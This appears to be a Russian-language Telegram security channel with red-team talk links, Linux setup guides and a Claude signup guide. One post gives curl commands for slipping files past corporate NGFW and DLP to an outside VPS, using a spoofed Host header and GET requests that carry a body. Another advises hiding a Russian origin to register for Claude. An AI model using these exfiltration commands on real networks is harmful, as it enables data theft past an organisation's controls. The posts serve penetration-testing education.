KGM's notes
669 subscribers
15 photos
8 videos
6 files
28 links
Авторский контент на тему ИБ (web/mobile/social).
Делюсь тем, что хотел бы получить сам когда-то.

https://kgmnotes.ru/ - полезные статьи и заметки по ИБ
https://0xmerch.ru - качественный ИБ-мерч

Для связи: @Russian_OSlNT
Download Telegram
Мои прошлые доклады:
https://files.bi.zone/f/08899fb60ce840c6a1a6/ - Offzone 2023
https://vk.com/video-172362100_456239226 - Offzone 2024
7
KGM's notes
Мои прошлые доклады: https://files.bi.zone/f/08899fb60ce840c6a1a6/ - Offzone 2023 https://vk.com/video-172362100_456239226 - Offzone 2024
Media is too big
VIEW IN TELEGRAM
Запись доклада "Использование Flipper Zero в RedTeam-проектах"

UPDATE. Не реклама, просто совет от себя: если вы захотите приобрести Flipper Zero, то можете рассмотреть вариант с Джумом, где они продаются официально! Себе я брал там же за ~15 тыс. рублей несколько лет назад. Цена на декабрь 2025 г. - 17 тыс. рублей
7👍5🔥3
KGM's notes
Кумуржи_Г_М_Standoff_Talks.pdf
Media is too big
VIEW IN TELEGRAM
Запись доклада: "Я тебе LoGiN, а ты мне креды? Пошло? Или почему мы до сих пор уязвимы перед CitrixBleed2"
🔥74💯3
Telegram_WebApp.pdf
739.6 KB
Некоторое время назад состоялась публикация моей первой статьи на Хакере: "OTP — не проблема! Прокачиваем фишинг при помощи дыры в Exchange, Telegram-бота и Evilginx2" - по мотивам моего кейса, занявшего 1 место на Awillix Pentest Awards 2025 в номинации "Ловись рыбка".
К данному посту я прикладываю pdf-файл с более подробным описанием нюансов использованияTelegram Web App (или Telegram Mini Apps) в фишинговых кампаниях
11🔥8💯4
Всем привет! Тем, кто еще не успел приобрести билет на предстоящий ZeroNights, предлагаю поучаствовать в розыгрыше индивидуального промокода со скидкой 10% на билет. Затягивать не будем, вечером понедельника определится победитель
🔥54👍3
🔧 Решение проблемы синхронизации времени в Kali Linux (на VMware)

Люблю работать с VMware Workstation Pro и периодически скачиваю новые сборки виртуальных машин с оф. сайта Kali Linux. И каждый раз сталкиваюсь с проблемой рассинхронизации времени 🕓

После долгих экспериментов нашел для себя рабочее решение, которым и пользуюсь теперь на постоянной основе.

📝 Пример установки актуального московского времени на VM с Kali Linux:
# Обновление списка пакетов
sudo apt update

# Установка systemd-timesyncd для NTP-синхронизации
sudo apt install systemd-timesyncd -y

# Установка часового пояса (Москва, UTC+3)
sudo timedatectl set-timezone Europe/Moscow

# Включение автоматической синхронизации времени
sudo timedatectl set-ntp true

# Перезапуск сервиса синхронизации
sudo systemctl restart systemd-timesyncd

# Проверка результата. Убедитесь, что время на вашей системе установилось корректно
timedatectl

# Перезагрузка для применения всех изменений
reboot


🔗 Полезные ссылки:
- Где можно скачать VMware Workstation Pro
- Готовые виртуальные машины Kali Linux

#linux #kali #vmware #setup


KGM's notes
| KGM's notes (EN)
🔥54👍3
🛠 Установка актуальной версии Go на Ubuntu/Debian/Kali Linux

Если вам нужно установить последнюю версию Go, настроить переменную PATH для корректной работы утилит, устанавливаемых через go install, а также инструментов от ProjectDiscovery (через pdtm), то выполните следующие команды:
# Обновляем список пакетов
sudo apt update

# Устанавливаем вспомогательную утилиту jq
sudo apt install jq -y

# Узнаём последнюю версию Go (stable) с официального JSON API
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')

# Формируем имя архива (например: go1.25.4.linux-amd64.tar.gz)
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"

# Скачиваем последнюю версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"

# Удаляем старую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"

# Добавляем пути Go в переменную PATH
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.profile

# Применяем изменения к текущей сессии
source ~/.profile

# Проверяем установленную версию
echo "Go обновлён до версии: $LATEST_VERSION"
go version


⚠️ Если у вас Kali Linux (где на момент написания заметки по умолчанию используется zsh), то дополнительно выполните следующие команды:
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.zprofile
source ~/.zprofile
go version


Ожидаемый результат:
Go обновлён до версии: go1.25.4
go version go1.25.4 linux/amd64


🔄 Обновление Go до актуальной версии:
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version

💡 PATH уже настроен при первой установке, повторно добавлять его не нужно.

🔗 Полезные ссылки:

- Официальный сайт Go
- ProjectDiscovery
- pdtm

#linux #go #setup

KGM's notes | KGM's notes (EN)
👍53🔥1
🛠 Обновление Go до требуемой версии на Ubuntu/Debian/Kali Linux

Если вы уже установили крайнюю версию Go (именно так как это было описано в предыдущей заметке), и хотите откатиться до какой-то определенной прошлой версии, то просто выполните следующие команды:
# Укажите здесь конкретный номер версии, например go1.23.2.linux-amd64.tar.gz
FILENAME="go1.23.2.linux-amd64.tar.gz"

# Скачиваем интересующую нас версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"

# Удаляем прошлую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version


Ожидаемый результат:
Go обновлён до версии: go1.23.2
go version go1.23.2 linux/amd64


#linux #go #setup

KGM's notes | KGM's notes (EN)
🔥61👍1
🚀 20% усилий - 80% результата при обходе NGFW и DLP-систем

Тема интересная, много чего можно перепробовать на самом деле... Будем есть слона по частям и в этом посте начнем с разбора самых базовых способов обхода таких систем:

1) Если в организации запрещено прямое обращение на внешние ресурсы по IP-адресу, а вам необходимо скачать, например, с вашего VPS-сервера некоторый файл (но вы не желаете по какой-то причине заморачиваться с регистрацией домена), то стоит попробовать просто добавить фиктивный HTTP-заголовок Host, например:

БЫЛО: curl <URL>/file.txt, где <URL> - это URL-адрес вашего VPS-сервера (протокол:ip:port). Допустим, что запрос, отправленный таким образом, отбрасывается в сети организации не может выйти в сеть Интернет;

СТАЛО: curl -H "Host: <DOMAIN>" <URL>/file.txt, где <DOMAIN> - доменное имя любого веб-сайта, доступ к которому не ограничен из сети организации (может это будет github.com или yandex.ru и т.д.);

И если вы планируете выгрузить файл на ваш VPS-сервер, то можете это сделать следующим образом:
curl -X POST -H "Host: <DOMAIN>" -F "file=@<PATH_TO_FILE>" <URL>/upload, где <PATH_TO_FILE> - путь до файла на диске

2) Если в организации запрещено выгружать файлы на внешние веб-ресурсы, а вам необходимо произвести эксфильтрацию данных на ваш VPS-сервер, то следует попробовать собрать неординарный HTTP-запрос:

БЫЛО: curl -X POST -F 'file=@<PATH_TO_FILE>' <URL>/upload, где <URL> - уже может содержать не только IP, но и доменное имя (про регистрацию доменных имен мы поговорим отдельно) - DLP распознает попытку передачи файла с помощью POST-запроса и блокирует его;

📜 Bypass данного ограничения мне пришел после реверса одного из мобильных приложений, в котором использовалась Яндекс Метрика. SDK-модуль Метрики слал на сервера компании Яндекс POST-запросы с GET-параметрами, мне это показалось интересным и я решил реализовать уже свой веб-сервер, который смог бы принимать GET-запросы с телом (как у обычных POST или PUT запросов) и сохранять отправляемые ему файлы

СТАЛО:
curl -X GET -F "file=@<PATH_TO_FILE>" <URL>/upload (а-ля POST-запрос, но в методе будет указан GET)
или
curl -X GET -T <PATH_TO_FILE> <URL>/upload (а-ля PUT-запрос, но в методе будет указан GET)
Вы можете самостоятельно посмотреть разницу между этими двумя способами отправки файлов с помощью Wireshark.

💡Стоит обратить внимание, что если вы работаете с HTTPS ресурсом, то добавляйте к каждому вызову curl параметр --insecure (или -k), так как зачастую NGFW и DLP-системы в организации будут подсовывать вам свой TLS-сертификат, чтобы читать весь ваш HTTPS-трафик.

Оба описанных в данной заметке способа позволили мне обойти различные NGFW и DLP-системы ведущих игроков на западном и отечественном рынках, дальше мы будем еще больше говорить о рабочих способах обхода таких систем

В продолжение к этому посту я выложу файл server.py, который позволит вам использовать оба описанных в данной заметке трюка. Базовый запуск: python server.py, если нужна будет помощь, то добавляйте параметр --help.

🔗 Полезные ссылки:

- T1567: Эксфильтрация через веб-службу (EN)
- T1567: Эксфильтрация через веб-службу (RU)

#curl #python #exfiltration #infiltration #exfil #T1567

KGM's notes | KGM's notes (EN)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍1
server.py
16.7 KB
🔥71👍1
Audio
Канал RedBlue Notes, который на днях вошел в топ главных ИБ-каналов 2025 г., ведется двумя моими бывшими студентами!
Я очень горжусь ими: ребята не только активно развиваются по своим направлениям (SOC/pentest), но и ведут совместно авторский ИБ-канал и даже выпускают свой подкаст!

Мне приятно слышать и осознавать то, что моя работа в ВУЗе, мои публичные выступления помогают многим ребятам найти себя в ИБ-отрасли (17:34 - 🥺).

P.S. На своем канале я планирую публиковать не только свои какие-то ресерчи по ИБ-тематике, но и выработанные лично мной практические советы по тому как приступить менее болезненно к анализу защищенности веб и мобильных приложений (это не замена Hack The Box Academy или Web Security Academy от PortSwigger, но точно отличная альтернатива перепечатываемым из поста в пост, из wiki в wiki примерам использования различных инструментов).
Please open Telegram to view this post
VIEW IN TELEGRAM
8👍5🔥1
🛠 PDTM - менеджер инструментов от ProjectDiscovery

После установки корректного времени на системе и актуальной версии Go я всегда ставлю pdtm со всеми доступными инструментами от ProjectDiscovery.
Крайне советую устанавливать его всем, кто занимается анализом защищенности веб и мобильных приложений.

PDTM
(ProjectDiscovery Tool Manager) упрощает установку, обновление и удаление таких инструментов как nuclei, httpx, subfinder, naabu, dnsx, katana и многих других.

📥 Установка pdtm:

1. Через Go (рекомендуется):
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest

💡 Если Go не установлен - см. заметку «Установка актуальной версии Go на Ubuntu/Debian/Kali Linux», там же описана настройка PATH для корректной работы утилит ProjectDiscovery.

2. Готовые бинарники:
Доступны в разделе Releases: https://github.com/projectdiscovery/pdtm/releases

🚀 Использование pdtm:

1. Установка всех инструментов от ProjectDiscovery:
pdtm -ia
# или
pdtm -install-all

💡 По возможности лучше сразу устанавливать все инструменты. Перед установкой всех инструментов, рекомендуется предварительно доставить необходимые для корректной работы некоторых инструментов зависимости:
# Удовлетворение зависимостей для naabu и shuffledns соответственно 
sudo apt install -y libpcap-dev massdns


2. Установка конкретных инструментов:
pdtm -i nuclei
# или несколько сразу
pdtm -i nuclei,httpx,subfinder


🔄 Обновление:

1. Обновить все установленные инструменты:
pdtm -ua
# или
pdtm -update-all

2. Обновить конкретные инструменты:
pdtm -u nuclei,httpx

3. Обновить сам pdtm:
pdtm -up
# или
pdtm -self-update


🗑 Удаление:

1. Удалить конкретный инструмент:
pdtm -r nuclei

2. Удалить несколько инструментов:
pdtm -r nuclei,httpx,subfinder

3. Удалить все инструменты:
pdtm -ra
# или
pdtm -remove-all


🔗 Полезные ссылки:

- GitHub репозиторий
- Официальная документация
- Доп. руководство по началу работы с pdtm

#linux #tools #projectdiscovery #pdtm

KGM's notes | KGM's notes (EN)
👍82🔥2
🖥 Запускаем процессы, которые переживут закрытие терминала

Довольно часто приходится запускать различные процессы, которые могут работать не один час, и даже не один день (например, какие-нибудь сканирования портов/веб-приложений)! Неужели теперь держать все это время открытым терминал, в котором был запущен данный процесс?!

Популярные варианты запуска различных процессов в фоне & и nohup имеют ряд ограничений: первый не переживёт закрытие терминала, второй не позволяет вернуться к процессу и видеть вывод в реальном времени.
Лично я использую утилиту screen, которая не имеет описанных выше недостатков.

📥 Установка:
# Debian/Ubuntu/Kali
sudo apt install screen


🚀 Основные команды:
screen -S имя_сессии    # создать сессию с именем
screen -ls # список всех сессий
screen -r имя_сессии # подключиться к сессии
screen -d -r сессия # принудительно отключить другие подключения и подключиться


⌨️ Горячие клавиши внутри screen-сессии:
Ctrl+A, D     — отключиться (detach), процесс продолжит работу


📜 Просмотр истории вывода:
Если запущенный в screen процесс выдал много строк, без входа в особый режим (режим скроллинга) их не просмотреть:
* Ctrl+A, Esc - войти в режим скроллинга
* Стрелки ↑/↓ или PgUp/PgDown - листать историю
* Esc - выйти из режима скроллинга

📋 Типичный сценарий использования утилиты:
# === Запускаем сканирование сети ===
screen -S nmap-scan
nmap -sV -sC -p- 192.168.1.0/24 -oA scan_results
# Ctrl+A, D — отключаемся

# === Запускаем бэкап ===
screen -S backup
./long_backup_script.sh
# Ctrl+A, D — отключаемся

# === Закрываем ноутбук, если работали удаленно, либо просто терминал в котором запускали данные процессы, идём пить кофе ===

# === Возвращаемся, смотрим что происходит ===
screen -ls
# There are screens on:
# 12345.nmap-scan (Detached)
# 12346.backup (Detached)

# Проверяем прогресс сканирования
screen -r nmap-scan
# Ctrl+A, Esc — листаем вывод, ищем найденные порты
# Ctrl+A, D — возвращаемся

# Проверяем статус бэкапа
screen -r backup
# Видим прогресс копирования файлов
# Если сессия помечена как Attached (забыли отключиться с другого терминала)
screen -d -r backup # принудительно отключит и подключит сюда

💡 Именование сессий через параметр (-S) - хорошая привычка. Без имён придётся ориентироваться по числовым ID, что неудобно при нескольких параллельных задачах.

🗑 Завершение сессии:
Если вы хотите на совсем закрыть виртуальный терминал:
# Изнутри сессии — просто выйти из шелла
exit
# или Ctrl+D

# Или принудительно убить окно
# Ctrl+A, K — подтвердить 'y'

# Снаружи — убить сессию по имени
screen -X -S имя_сессии quit


💡 Как альтернативу screen вы можете самостоятельно изучить работу tmux

🔗 Полезные ссылки:

- Официальная документация screen
- Официальная документация tmux

#linux #tools #screen #terminal

KGM's notes | KGM's notes (EN)
🔥8👍21
🦾 Как начать путь vibecoding-а и vibehacking-а вместе с Claude

Чтобы начать использовать в своей работе передового ИИ-ассистента Claude, разработанного американской исследовательской компанией Anthropic, необходимо иметь три вещи:
🎭 [REDACTED] для того, чтобы скрыть факт подключения из России к серверам компании;
📧 почтовый ящик, желательно не в домене .ru (можно gmail.com или yandex.com);
📱 зарубежный номер телефона для одноразового приема SMS.

Номер телефона понадобится всего один раз (при регистрации) и восстановить доступ к аккаунту с помощью него пока что нет технической возможности - подробнее.

🪪 При регистрации желательно указывать возраст не менее 21 года.

💬 СМС с кодом подтверждения может идти несколько минут.

💎 После регистрации рекомендую сразу перейти на один из платных тарифов и вот почему:
1. При оплате подписки Pro (17$ в месяц) открывается доступ к специализированному инструменту Claude Code (агентный ИИ-инструмент, который генерирует, отлаживает, тестирует и рефакторит код автономно);
2. Также при наличии любой из платных подписок появляется техническая возможность подключения как к Desktop-приложению, так и Claude Code различных MCP-серверов, что позволит LLM от Claude активно взаимодействовать с внешним миром (примеры MCP-серверов).

📖 Также советую ознакомиться со статьей, посвященной оптимальному использованию Claude, чтобы понимать какой тариф вам действительно нужен и как им эффективно пользоваться

⚠️ Чтобы не мучить себя можно начать проксировать трафик только от приложения Claude. Сделать это можно, например, с помощью программы Proxifier (обязательно используйте правило "Block Traffic to All UDP Ports if Matched the Rule"). Данным ПО имеет смысл пользоваться на Windows и MacOS, а на Linux можно обойтись с помощью использования переменных среды HTTP_PROXY и HTTPS_PROXY.
🔥72🤣2💯1
Для тех, кто хочет попробовать поработать с Claude (в т.ч. с Claude Code), но пока не готов оформлять подписку, я разыграю в эту новогоднюю ночь 3 Guest Pass! Всех с наступающим!
7🔥2👍1